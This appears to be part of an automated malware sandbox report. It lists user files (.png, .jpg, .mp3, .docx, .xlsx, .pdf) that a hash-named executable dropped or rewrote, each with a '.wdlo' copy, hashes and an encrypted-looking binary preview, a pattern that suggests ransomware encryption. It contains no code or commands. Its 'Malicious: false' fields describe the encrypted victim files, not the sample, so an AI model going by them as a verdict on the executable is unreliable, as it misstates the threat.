Preview:	BNAGM....\F.+r.X1...0...3h.4H.t9A...vBT...n.(n[.f........D..E. .....U........7..%......_R..5k.e..G.&f.[.L.G',...M....v3.l.Y9w.."...4.d........Nb....../..E..B.3..}...s<b.{..Ut...L.[+_.. Z}j.r.4..Z.!....C.i.G..e....t..r.L^U.O....{...&;...T.L.o..W.y...(%-..d[.....~{.:.Yr-.."T@~G....R..c...q..Q........u...-._b%...........ZU..8fV.mW;b..Cg........t-...FH.3...B.`\|.p-K....Z....1K4...c?....=97.p\|G.....2..f.......[..n.......le'2.n.......v.5I[_.>.w.Y....K..Zg.t.......VO}D......;F:..\|8.J...P..a....7...W....p..@...YM...:a}..M......J...~w=pB.<S..F..........q$.S.G~.gn4.......0...^...........).k....!1...v..L.>.Z=...r.m..{...>....~.h.!vU...@.,\|...m.L...o.z....(.9....(.-....)..^.j1.I....[.K..k.Z...L.....Sa....wG./S3T..0L.2....6.'.../.....lp..}q.}....4......(N._.......U.\|.............}..o..$.CJwY..N...D..v#...d....G....[.e.w6ZN..h3...g#e/W8.....9...2......l..~....{. `.y.E.rP...-\|.}SP..,..rwE.W..(..\..<..E.t...........0.[\\|B..:....%D2.":sw.Cb.r5..

C:\Users\user\Documents\LSBIHQFDVT\DUUDTUBZFW.png

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.823255528978621
Encrypted:	false
SSDEEP:	24:oWTtEl3J1s1Clk1FC3wbEMoQW9t5mpoHGOsqEEAUBBXxCjk9KPWF63zbD:oWBsnlsFUMov9KU+qE2pxCjaKPWY3nD
MD5:	35F0EF87A00CB29124E34025AC66C213
SHA1:	742085C79937E729418AB79A11D9E712292C0EBB
SHA-256:	1C66B99639F66ADCB8E3503F8941953CE57273A9CAB94A76813C1892A8805BE3
SHA-512:	48BDCD4631750EC0028B542278F323478C4FFD36A0B3B49F0D7726EEC5ED09F96C79445EDF793DDCB0396E67695190A53531BAFBABF12A474C04AE7837C2F3B9
Malicious:	false
Preview:	DUUDT.MF.{.XH@..z...-.....p..=..C..}....2.Xx...R..../..e2.#.h.[n.w0...Vpr$".))..x......z.#j....V......{p9.I.V.."EDW.P.L(0....;Ca^`...~x.. .....j.%.6.`..b'.2z....3G6.j.oA.@...5.j.c.2....\|..B...K..O.9.5...j.!T... ....vQ...UC....F&...........A^..s.m.\I.G...4..JVt.P`......'..(."9..8y.q.....=.>.7.1.uY\|....j.I'...I...=..J.\.=k..(../&.aq.k..D.Ga.<..LNZ..-.?X.f3n..Q...S...............\5...1.a80.."D.....v?...q....F..}.E...7.[.....L.p]...G=.Z7be.4.,.9...n..].U.z~h. .5...x<Mb...G&...m.u......d.{..ay.m1.\.."S.;w..H0......tH6x(l.....l.j..*.F.6P..$.......[...;....d.r.F.T.?....'H....Y.ETdL.....G...R.z.\^{..Y.... .x@wKDXL...L.]......An....i...Q....\U...U.-(x....3..ma)/..l...dKHY...~...B..<.&..'..7....<.7g.Y.D+i....;.}=5...]...c.....$Dau.O....4..,....p......x[...+...........eK....D.~y.......'.1..utg.. .3..; .5.e..G.#-B..PL.n.a2. .Vc%......x...<..W...A.L..M ..".>.K....8._q....0.....6...Z4.a..5.wG..-.o..5..My...howP.......#...7.pAR...s.....^..v....;.

C:\Users\user\Documents\LSBIHQFDVT\DUUDTUBZFW.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.823255528978621
Encrypted:	false
SSDEEP:	24:oWTtEl3J1s1Clk1FC3wbEMoQW9t5mpoHGOsqEEAUBBXxCjk9KPWF63zbD:oWBsnlsFUMov9KU+qE2pxCjaKPWY3nD
MD5:	35F0EF87A00CB29124E34025AC66C213
SHA1:	742085C79937E729418AB79A11D9E712292C0EBB
SHA-256:	1C66B99639F66ADCB8E3503F8941953CE57273A9CAB94A76813C1892A8805BE3
SHA-512:	48BDCD4631750EC0028B542278F323478C4FFD36A0B3B49F0D7726EEC5ED09F96C79445EDF793DDCB0396E67695190A53531BAFBABF12A474C04AE7837C2F3B9
Malicious:	false
Preview:	DUUDT.MF.{.XH@..z...-.....p..=..C..}....2.Xx...R..../..e2.#.h.[n.w0...Vpr$".))..x......z.#j....V......{p9.I.V.."EDW.P.L(0....;Ca^`...~x.. .....j.%.6.`..b'.2z....3G6.j.oA.@...5.j.c.2....\|..B...K..O.9.5...j.!T... ....vQ...UC....F&...........A^..s.m.\I.G...4..JVt.P`......'..(."9..8y.q.....=.>.7.1.uY\|....j.I'...I...=..J.\.=k..(../&.aq.k..D.Ga.<..LNZ..-.?X.f3n..Q...S...............\5...1.a80.."D.....v?...q....F..}.E...7.[.....L.p]...G=.Z7be.4.,.9...n..].U.z~h. .5...x<Mb...G&...m.u......d.{..ay.m1.\.."S.;w..H0......tH6x(l.....l.j..*.F.6P..$.......[...;....d.r.F.T.?....'H....Y.ETdL.....G...R.z.\^{..Y.... .x@wKDXL...L.]......An....i...Q....\U...U.-(x....3..ma)/..l...dKHY...~...B..<.&..'..7....<.7g.Y.D+i....;.}=5...]...c.....$Dau.O....4..,....p......x[...+...........eK....D.~y.......'.1..utg.. .3..; .5.e..G.#-B..PL.n.a2. .Vc%......x...<..W...A.L..M ..".>.K....8._q....0.....6...Z4.a..5.wG..-.o..5..My...howP.......#...7.pAR...s.....^..v....;.

C:\Users\user\Documents\LSBIHQFDVT\EFOYFBOLXA.jpg

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856333082818046
Encrypted:	false
SSDEEP:	24:8Rgx1rabyjHm2KEIhAVHEG2MVtnP/0AxcGL3SgaFzStReBPNwzu3zbD:IgrwyDFKEmME8tX0LgSCeBmu3nD
MD5:	BEFAED72FCC98FD11F6B3B90D1608A27
SHA1:	82F46523601F01D2E01CB68B018D9535B34F2BB1
SHA-256:	3F3B52BE44890E76A331E4B0BC7D858ECD79B96F89357B75CE2D16CA8A024E2B
SHA-512:	980B9E5AD280AD4E8268A6D05729C844E62534F003513A815CB86E9D3E9A8B50B6012742B95FA596B83166EC9AB237EE63793E50E90ED33D938ED9E6B0D3A080
Malicious:	false
Preview:	EFOYFX'..J..~}zehZ..x/.].d.........Y......L.d..e..&......o.f..$...8...}J...j.4.U.}.q..K...c..K..3.z...2&kR...O....X.B.+.o...,%>G...._..{L..+2w....../4S[...l.:...h.f..;...0.X\|......<.E..B.x...W<)..?.e_h..!....?+....Hy.~J-.qqL_h.v....;...,..B......H...#p[....2...\~/8Nb...x....DJ.f0^..9z3;..&.D....#./....$.wK./....nP...g........29.z\|b..@<..<..\. .$[.....w..<i....+.....S..8'...B.=.j..=.;rs....s...K`....5J.^...{U:..l.....1.J9....lQ...@...k.J%......\|..sn.v`$......Q.c..K......!.$GTN&.......H..t..<.i.e...EM@.....D..0.;........j2&.t.'$=.]0.?.R....HO$I...4+...^^.W......?!...pBg...v[4.U\-.b..uB.J.."bf-.uZt...G.G..ja:I(....$..U.m...P....,...]....K...\=.i.[..3).@l.6............&.9.....;5..1..........d..*.r2.l.8....H".........A..i.8....V..Q ..8J,......=.......x...j(.G.h.A...5...3...gA..E.[.......c.G..d...F.S.w.9.(v...kZOu.vb..Ye.p.b. .TA......2.....W\b...].\|.hz.I.k.c~.s."W..Q..Eb.T..E.KR3.p7Bn...U.z.W.;.]V..h.K.7....b.g.<..D..4?........X...}......./

C:\Users\user\Documents\LSBIHQFDVT\EFOYFBOLXA.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856333082818046
Encrypted:	false
SSDEEP:	24:8Rgx1rabyjHm2KEIhAVHEG2MVtnP/0AxcGL3SgaFzStReBPNwzu3zbD:IgrwyDFKEmME8tX0LgSCeBmu3nD
MD5:	BEFAED72FCC98FD11F6B3B90D1608A27
SHA1:	82F46523601F01D2E01CB68B018D9535B34F2BB1
SHA-256:	3F3B52BE44890E76A331E4B0BC7D858ECD79B96F89357B75CE2D16CA8A024E2B
SHA-512:	980B9E5AD280AD4E8268A6D05729C844E62534F003513A815CB86E9D3E9A8B50B6012742B95FA596B83166EC9AB237EE63793E50E90ED33D938ED9E6B0D3A080
Malicious:	false
Preview:	EFOYFX'..J..~}zehZ..x/.].d.........Y......L.d..e..&......o.f..$...8...}J...j.4.U.}.q..K...c..K..3.z...2&kR...O....X.B.+.o...,%>G...._..{L..+2w....../4S[...l.:...h.f..;...0.X\|......<.E..B.x...W<)..?.e_h..!....?+....Hy.~J-.qqL_h.v....;...,..B......H...#p[....2...\~/8Nb...x....DJ.f0^..9z3;..&.D....#./....$.wK./....nP...g........29.z\|b..@<..<..\. .$[.....w..<i....+.....S..8'...B.=.j..=.;rs....s...K`....5J.^...{U:..l.....1.J9....lQ...@...k.J%......\|..sn.v`$......Q.c..K......!.$GTN&.......H..t..<.i.e...EM@.....D..0.;........j2&.t.'$=.]0.?.R....HO$I...4+...^^.W......?!...pBg...v[4.U\-.b..uB.J.."bf-.uZt...G.G..ja:I(....$..U.m...P....,...]....K...\=.i.[..3).@l.6............&.9.....;5..1..........d..*.r2.l.8....H".........A..i.8....V..Q ..8J,......=.......x...j(.G.h.A...5...3...gA..E.[.......c.G..d...F.S.w.9.(v...kZOu.vb..Ye.p.b. .TA......2.....W\b...].\|.hz.I.k.c~.s."W..Q..Eb.T..E.KR3.p7Bn...U.z.W.;.]V..h.K.7....b.g.<..D..4?........X...}......./

C:\Users\user\Documents\LSBIHQFDVT\EWZCVGNOWT.mp3

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851133451901582
Encrypted:	false
SSDEEP:	24:pYkvYoPqLIoquHdqTN4IzwGyGuxC94SvCwIcuZ8NEuk9k9N/3AJ6Zn3xSnxzs9RL:pYkrQku9Whv3ux24SalcuZ5k953xcYt1
MD5:	D511A52560B325F5B34FA44F73F7126A
SHA1:	79563590D603628361ECF3C72FC451C0615DB657
SHA-256:	02F6B402291DC40BAE8F909FF96C14C4CA48986FF5B96850F0737BFA2F9C98FF
SHA-512:	15E6CE119D5C58F5438CC59222A315F5F0B9ABBF5ACA2E54473D7CDC9A8F7B411436DF712A3F7C183ACEB61595F0CAE36472C6973BF61E5E21951011CDFF0CD3
Malicious:	false
Preview:	EWZCV........8.`............T.........m.r.i0..h.Y\$..)-U..?O.../.b. .e..VNlO.M.w.K.."{.B@.J(aU...k..O...H.:<P#j....b.$.<P!Hn...N..vu.[.....D.\Se.1m.M.)..X.E8/;.~..B.....nP!.....SLT).......^....E.M.UXGb.:._k..L..L...r.b..c..]...:....6.+$.m._.=.L.9$.k`..a.j.I.#......-...g...y.L......U..X.C....p....l$...).d.r.g.V....S.{8...V.X.$..je..T..).7.F..V:n.....b..ziStHZ. ...i[........l.......(.,".....b..N.n.. h.d.L.fG1.:s.g..n.%.!..r.....J....,g...7^/..4..q.]...W.....SZ..v.....Y..;.Lx........p.....j........,M3...\.e..D..If.ZR.\|...`%.8.-'...._.O.V....p!../l.Md......`.l.2.2..n......'5.XK..k1.f.l.T.2op......S.%...N....~NK..{.RE...........h.....z..G..g<....s.[<..8.@..H..Sg..C4Z`....A^... ..-..a..1...v.O._.obv$G..1.5...O ..4........r.PZ6...0...p.B...y.........Y....w.D4..VU ..A92s...WQ6...Z...!7.-.%.P.%...t..=!K..C2......V.5...a...d..y.......1..../O.GA5.>.,<.K03S..y...]{.Vf.....y&?..YEU.....<..9B+.k..q.9........9...a...QPW.....f.."..?.r.8.....M

C:\Users\user\Documents\LSBIHQFDVT\EWZCVGNOWT.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851133451901582
Encrypted:	false
SSDEEP:	24:pYkvYoPqLIoquHdqTN4IzwGyGuxC94SvCwIcuZ8NEuk9k9N/3AJ6Zn3xSnxzs9RL:pYkrQku9Whv3ux24SalcuZ5k953xcYt1
MD5:	D511A52560B325F5B34FA44F73F7126A
SHA1:	79563590D603628361ECF3C72FC451C0615DB657
SHA-256:	02F6B402291DC40BAE8F909FF96C14C4CA48986FF5B96850F0737BFA2F9C98FF
SHA-512:	15E6CE119D5C58F5438CC59222A315F5F0B9ABBF5ACA2E54473D7CDC9A8F7B411436DF712A3F7C183ACEB61595F0CAE36472C6973BF61E5E21951011CDFF0CD3
Malicious:	false
Preview:	EWZCV........8.`............T.........m.r.i0..h.Y\$..)-U..?O.../.b. .e..VNlO.M.w.K.."{.B@.J(aU...k..O...H.:<P#j....b.$.<P!Hn...N..vu.[.....D.\Se.1m.M.)..X.E8/;.~..B.....nP!.....SLT).......^....E.M.UXGb.:._k..L..L...r.b..c..]...:....6.+$.m._.=.L.9$.k`..a.j.I.#......-...g...y.L......U..X.C....p....l$...).d.r.g.V....S.{8...V.X.$..je..T..).7.F..V:n.....b..ziStHZ. ...i[........l.......(.,".....b..N.n.. h.d.L.fG1.:s.g..n.%.!..r.....J....,g...7^/..4..q.]...W.....SZ..v.....Y..;.Lx........p.....j........,M3...\.e..D..If.ZR.\|...`%.8.-'...._.O.V....p!../l.Md......`.l.2.2..n......'5.XK..k1.f.l.T.2op......S.%...N....~NK..{.RE...........h.....z..G..g<....s.[<..8.@..H..Sg..C4Z`....A^... ..-..a..1...v.O._.obv$G..1.5...O ..4........r.PZ6...0...p.B...y.........Y....w.D4..VU ..A92s...WQ6...Z...!7.-.%.P.%...t..=!K..C2......V.5...a...d..y.......1..../O.GA5.>.,<.K03S..y...]{.Vf.....y&?..YEU.....<..9B+.k..q.9........9...a...QPW.....f.."..?.r.8.....M

C:\Users\user\Documents\LSBIHQFDVT\LSBIHQFDVT.docx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857957939749606
Encrypted:	false
SSDEEP:	24:KbhjXfbVNVAADbwoZd2MkrkEfezOkN0OgZqh3dzXOjH+WZuye/Gl9Xroum3zbD:KbhjXpTAAAofEWzO40OgAh4eB/GDXrhY
MD5:	E2D72B1434164A0B966EFF3DD8D45C65
SHA1:	B4A646961C1F3CCBA7380836A61216E3EA9C8D00
SHA-256:	37A6C867FF550BE3430EA4EB5D22603ADD842B357F591DD52AB8D68C5F1D9BFF
SHA-512:	B8CCC5FD26F534A2CA64FD958CA7DA2AD106D369EBD159E662D5F37987550DF5B1ACBEFCFE226BCE6D21F386BA9EF260185522EDCA88A402AD5F7D9DFFFD3DA5
Malicious:	false
Preview:	LSBIH.y.N7..!.....5+%.e..R...._..3h.@...^.K7C....k.q.3..$Lh.I.2.`.Z#.C.He=..yp.QQO...~.066.N....!.X3...&HF..).?.....X.B....\..."..&l..r..,t.#.\.?.0.W=5d<3.[7....P?%.@ ...(......X..3m....N..0 ..&c..(.0.lT.......f..e...ua..v....<!j:.1.\|C....X...\.....[.j.DH.Wr.X.7..K..U...) ....m..8P6.....&.....XgE..Q4...3.].T.D\|.Z..$T..G.Ha X..k.......>..@g.v..P.Q.)...@..^..co.....`x..3.i.......;.D[...E.[..N.'2.J.....=........7`...v..zO..E&..mL....C.jlv...r..:......n..p^.1/....x.....].. .e..r...L....#..0_`.XIK..@.......J....D.z.S^.../l7n..\|......p'Ha.h8...V..2K...#.TsaH..N..w.^.3.s...Yxj..b......^......\|{...;0.."..D.v.oW[.&.8v..l.6cDsQ...H..5yv8gg./.[,Gs..=~)R.Hb..H....6....cv6.O.d._.....Z.WE..9.l.ha.r...I...Q........{...YI..F......gA......h...o...#.`.v{..)...&....H..j.%.N.\g..(8m.V.. ..$r......j;.A...;......."xSR+.jH.S.6r........e..9.+I..-.....mZ.BKT.,.N4.../.>7./....:.<h..d-{j/k...t`.HoXr.!....)j......72.z..uv7f}222......A...w..}..Y..o..6..0.\.....~.o.

C:\Users\user\Documents\LSBIHQFDVT\LSBIHQFDVT.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857957939749606
Encrypted:	false
SSDEEP:	24:KbhjXfbVNVAADbwoZd2MkrkEfezOkN0OgZqh3dzXOjH+WZuye/Gl9Xroum3zbD:KbhjXpTAAAofEWzO40OgAh4eB/GDXrhY
MD5:	E2D72B1434164A0B966EFF3DD8D45C65
SHA1:	B4A646961C1F3CCBA7380836A61216E3EA9C8D00
SHA-256:	37A6C867FF550BE3430EA4EB5D22603ADD842B357F591DD52AB8D68C5F1D9BFF
SHA-512:	B8CCC5FD26F534A2CA64FD958CA7DA2AD106D369EBD159E662D5F37987550DF5B1ACBEFCFE226BCE6D21F386BA9EF260185522EDCA88A402AD5F7D9DFFFD3DA5
Malicious:	false
Preview:	LSBIH.y.N7..!.....5+%.e..R...._..3h.@...^.K7C....k.q.3..$Lh.I.2.`.Z#.C.He=..yp.QQO...~.066.N....!.X3...&HF..).?.....X.B....\..."..&l..r..,t.#.\.?.0.W=5d<3.[7....P?%.@ ...(......X..3m....N..0 ..&c..(.0.lT.......f..e...ua..v....<!j:.1.\|C....X...\.....[.j.DH.Wr.X.7..K..U...) ....m..8P6.....&.....XgE..Q4...3.].T.D\|.Z..$T..G.Ha X..k.......>..@g.v..P.Q.)...@..^..co.....`x..3.i.......;.D[...E.[..N.'2.J.....=........7`...v..zO..E&..mL....C.jlv...r..:......n..p^.1/....x.....].. .e..r...L....#..0_`.XIK..@.......J....D.z.S^.../l7n..\|......p'Ha.h8...V..2K...#.TsaH..N..w.^.3.s...Yxj..b......^......\|{...;0.."..D.v.oW[.&.8v..l.6cDsQ...H..5yv8gg./.[,Gs..=~)R.Hb..H....6....cv6.O.d._.....Z.WE..9.l.ha.r...I...Q........{...YI..F......gA......h...o...#.`.v{..)...&....H..j.%.N.\g..(8m.V.. ..$r......j;.A...;......."xSR+.jH.S.6r........e..9.+I..-.....mZ.BKT.,.N4.../.>7./....:.<h..d-{j/k...t`.HoXr.!....)j......72.z..uv7f}222......A...w..}..Y..o..6..0.\.....~.o.

C:\Users\user\Documents\LSBIHQFDVT\QCFWYSKMHA.xlsx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864405122401801
Encrypted:	false
SSDEEP:	24:4Y+SR5dPfKtDET7aeY86VqdixCqvk+VMPHMgrJV0RPjzH1JxHA9iM93zbD:4OHAoT7WXSShk+VM/MgrD0NH14ig3nD
MD5:	7E64827A240C32722AFD88B4255AFB33
SHA1:	7907C592239C6FDED793EB452D319959ECEE3804
SHA-256:	3F77C05EE9F752424562FD38EC9C5F2CDCD8222B88955410B2B21A9E817B6A0C
SHA-512:	1431491840859A27BCAD6DC4D9A739AA844FD08BB44B3758C0F81E0BC23605CB3E239876649467A482D1E32BC110B32148642A072592734A6C23C6675468D7A1
Malicious:	false
Preview:	QCFWYpL..}.g.`...\.X\|...]..Ew.N..........7..OAX..l..[....D:U....Z1.....Y..>v.\....e...\...'..L...~.".......KZ.<....m.].......\|....#.C..k....dY.a.w[i.....X).v..t.$5..yX..y..qi..].?.O..;..-j.1.....s%.3...F..)...q.g....4.....#...vJ......8DaN.J/.....;.{......^.(.:_..HV/.FzJN.Z.JZ>g..B..jy..S`v.by..7..fn..}.s....m.......4...W.Om....io...!.....S_.5t/.l."xn.Ws...r21d....f.[.?`EX.k......................r.J.r..}..c..G.3.z.K....[H..9J>;.!.K.u...>qKm.^p.{.0..9nt....7.F@.:.0Q.\....<F;..O........Dj......I.<x....g.T..I..:..nuF..4W.).W{.n.[/pnq...".e...d..C......TO..Oo..Y..!....E.........>.e..m.b8..s.Z`.. .5..i/....}2..K.....X.=~..&.K....,<-..axH.z.KhFq.'.@...f..4.+..sA...3......_.J..J../z.z.=v/.,. .2K/~W..\|."..........{.6e).JB.....8..\..{..[.....}....6......_tTv..-......94~(..l#C.....p...a.........+..1S...."$......&.dV....?.:...{....M....BWn4...<.2.....p]..`.....S....!...c;...DM...CF....O..^".i<K.`.0Y...\|6...\N....oC.....C..I.K....Sg.........a^Ih.

C:\Users\user\Documents\LSBIHQFDVT\QCFWYSKMHA.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864405122401801
Encrypted:	false
SSDEEP:	24:4Y+SR5dPfKtDET7aeY86VqdixCqvk+VMPHMgrJV0RPjzH1JxHA9iM93zbD:4OHAoT7WXSShk+VM/MgrD0NH14ig3nD
MD5:	7E64827A240C32722AFD88B4255AFB33
SHA1:	7907C592239C6FDED793EB452D319959ECEE3804
SHA-256:	3F77C05EE9F752424562FD38EC9C5F2CDCD8222B88955410B2B21A9E817B6A0C
SHA-512:	1431491840859A27BCAD6DC4D9A739AA844FD08BB44B3758C0F81E0BC23605CB3E239876649467A482D1E32BC110B32148642A072592734A6C23C6675468D7A1
Malicious:	false
Preview:	QCFWYpL..}.g.`...\.X\|...]..Ew.N..........7..OAX..l..[....D:U....Z1.....Y..>v.\....e...\...'..L...~.".......KZ.<....m.].......\|....#.C..k....dY.a.w[i.....X).v..t.$5..yX..y..qi..].?.O..;..-j.1.....s%.3...F..)...q.g....4.....#...vJ......8DaN.J/.....;.{......^.(.:_..HV/.FzJN.Z.JZ>g..B..jy..S`v.by..7..fn..}.s....m.......4...W.Om....io...!.....S_.5t/.l."xn.Ws...r21d....f.[.?`EX.k......................r.J.r..}..c..G.3.z.K....[H..9J>;.!.K.u...>qKm.^p.{.0..9nt....7.F@.:.0Q.\....<F;..O........Dj......I.<x....g.T..I..:..nuF..4W.).W{.n.[/pnq...".e...d..C......TO..Oo..Y..!....E.........>.e..m.b8..s.Z`.. .5..i/....}2..K.....X.=~..&.K....,<-..axH.z.KhFq.'.@...f..4.+..sA...3......_.J..J../z.z.=v/.,. .2K/~W..\|."..........{.6e).JB.....8..\..{..[.....}....6......_tTv..-......94~(..l#C.....p...a.........+..1S...."$......&.dV....?.:...{....M....BWn4...<.2.....p]..`.....S....!...c;...DM...CF....O..^".i<K.`.0Y...\|6...\N....oC.....C..I.K....Sg.........a^Ih.

C:\Users\user\Documents\NEBFQQYWPS.docx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836574560951851
Encrypted:	false
SSDEEP:	24:dA4OFPE5iLbAr5O4gyorxxlfKNQaZ8dK9jG2FlnIM9GvjojGjk42vHPZ3zbD:dADFlLbAtO4gJAqenPujojGLQHPZ3nD
MD5:	2E14065CBD855DEE0E209C30C344D6CD
SHA1:	A2FBCDD060625A87E9BAE5D5D59EA22F3C200844
SHA-256:	2C2F30E9D472A40C6688BC9CF3B3C2EE82CABE49B31FFA00AAC8EEA98175FD71
SHA-512:	EA532F92FD71850D79514D2D5A112978493E3E12DA0AC506F3BFE0950F79056231914BB8357C1971C5BF3A11FFA5AA9AF81CD7F44916512B48150672D20C6A98
Malicious:	false
Preview:	NEBFQ.V....._3.[c...Am1q..@......Hv.0.f7...C.}...jQ\..j.kV.:P..Gx..#.bd~..L.A.#..$..sE..?.8.4%..v..2..KQ;.`6i.{QLa..:1.ci\........^......cD.bA..nS.jJ.m...}u.+(.......{...Y6.3.}u..o...&..v.;3.....N.E"\|B....x.y)..D.U..#nI..0....cZ......Ro...\|_.k...!n:n~G{j<).j..........^@..n.W._...r.A..o.... .6\..XCl:..K.)h.-{....o.q....E8R..\.o..-.\...D(}".Q....m..gMx.....(\|..#.....>Zy-..sl.....[....._6.)..@,............!......B."T......K.?<..&....R.8..X9..D..lf...%..R....'@...5....\d....5.mV.%M.!Sx..o_l.u...g.u....r.4.e.....r..;.......&...K... i.R].2....?.@Q..).R.....;....y>.FW..56..:6.nZ.DY.@...X....n\|/.gF.mJj..3=.q.$>&..ID.d.;.....~.;....PZ1..Z..Q[....:......D{..m.F...S...._..E.<.9#.6;....n.A.zZ....4^.....K.e).FK....+lD7.I..27....O..5./=t..g.....Tz........mz.In.=W.F.6........\L4.].p..sR.1..W...b..[.\|...>..2H.)%.%....XS...<9..n..C.~...Wc/..N.3.;...W.c.B.x..~....o........!?..c@...U..k....:d.....)....E...~.P....,~..$......f.A_{...FX....V.<.Z......

C:\Users\user\Documents\NEBFQQYWPS.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836574560951851
Encrypted:	false
SSDEEP:	24:dA4OFPE5iLbAr5O4gyorxxlfKNQaZ8dK9jG2FlnIM9GvjojGjk42vHPZ3zbD:dADFlLbAtO4gJAqenPujojGLQHPZ3nD
MD5:	2E14065CBD855DEE0E209C30C344D6CD
SHA1:	A2FBCDD060625A87E9BAE5D5D59EA22F3C200844
SHA-256:	2C2F30E9D472A40C6688BC9CF3B3C2EE82CABE49B31FFA00AAC8EEA98175FD71
SHA-512:	EA532F92FD71850D79514D2D5A112978493E3E12DA0AC506F3BFE0950F79056231914BB8357C1971C5BF3A11FFA5AA9AF81CD7F44916512B48150672D20C6A98
Malicious:	false
Preview:	NEBFQ.V....._3.[c...Am1q..@......Hv.0.f7...C.}...jQ\..j.kV.:P..Gx..#.bd~..L.A.#..$..sE..?.8.4%..v..2..KQ;.`6i.{QLa..:1.ci\........^......cD.bA..nS.jJ.m...}u.+(.......{...Y6.3.}u..o...&..v.;3.....N.E"\|B....x.y)..D.U..#nI..0....cZ......Ro...\|_.k...!n:n~G{j<).j..........^@..n.W._...r.A..o.... .6\..XCl:..K.)h.-{....o.q....E8R..\.o..-.\...D(}".Q....m..gMx.....(\|..#.....>Zy-..sl.....[....._6.)..@,............!......B."T......K.?<..&....R.8..X9..D..lf...%..R....'@...5....\d....5.mV.%M.!Sx..o_l.u...g.u....r.4.e.....r..;.......&...K... i.R].2....?.@Q..).R.....;....y>.FW..56..:6.nZ.DY.@...X....n\|/.gF.mJj..3=.q.$>&..ID.d.;.....~.;....PZ1..Z..Q[....:......D{..m.F...S...._..E.<.9#.6;....n.A.zZ....4^.....K.e).FK....+lD7.I..27....O..5./=t..g.....Tz........mz.In.=W.F.6........\L4.].p..sR.1..W...b..[.\|...>..2H.)%.%....XS...<9..n..C.~...Wc/..N.3.;...W.c.B.x..~....o........!?..c@...U..k....:d.....)....E...~.P....,~..$......f.A_{...FX....V.<.Z......

C:\Users\user\Documents\NEBFQQYWPS.pdf

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851254177027011
Encrypted:	false
SSDEEP:	24:DzqI7lOeyitWSf2mkYDdT5d1E/ickOY1uqiezbQP77LhuuNtmNsFaLiS4jSblKhA:SIpOhaRDdtQ1YMql8P77L3tmNsUGS6fA
MD5:	66FF07D6152B9E5C3FFE5931BE19CD9F
SHA1:	B50D7141DF05A11B197BA0E30C8C2114FAEFAB13
SHA-256:	BC480A864832942D5305E57A47AA7911796ED0B72B905C1A4DB78776B0CEBD42
SHA-512:	5E39BEF8956BDBA90030B5D562EA848C4443F1C602FA55A8372978AF4E074268B43B05833B79307DED52161F402325DFDA62EC745D1F252EC6AAB9303B08066D
Malicious:	false
Preview:	NEBFQa..fP.@.......`@..E@...1^..~.i2....t...../1..m...J....ZB..K..V+.....o........kl.x...AJ..<...S...y./kG.&.v..S......X...pTt..Aq..4....^......Pp.......J.&.T.%sL../..o;.._@..6...../.g.m..'A._].'...?.D......\|R........V.q.$...h&.!.A....Q.5;9...L.6.d..~.R....].o.....n....w..j...P..A.U...f.u...6..bq%&.@...K.C..\|J...w\|l.S....p..,....P.H].6......Fx.....S....."....lM.. G..-.......M ..0.i....w.5S.p.av...X3=?.$L.q.^.SPf.'..Y@`B..8R...nP.u....u8N<!.}....%P4.Eh..Qj`6....ytIE.N.G....r.niX....~.U.W....c&0..`.#......H"...4P.J=.uP.....C\...}G.Q.5.~..v.l.n.}..4.yO...9..(.77.....@....]....J...W.`Y.[......C.x.t..H\|...]..9Z."..XX.<.1.....,..>..\.)NlGi..[y..I...~.X...:>......$...-"..H.....F.......zUbE..........<`....%2Snu......<.HS+...p5.`_]{?q.djx..nJ.<A.6h\|5y..\|...].r{...d.h.."l.z'.R....)'.{...=../U...."...P...o..`....9I.........R.\|...[i.}.,.R........b..I9.f.b.W 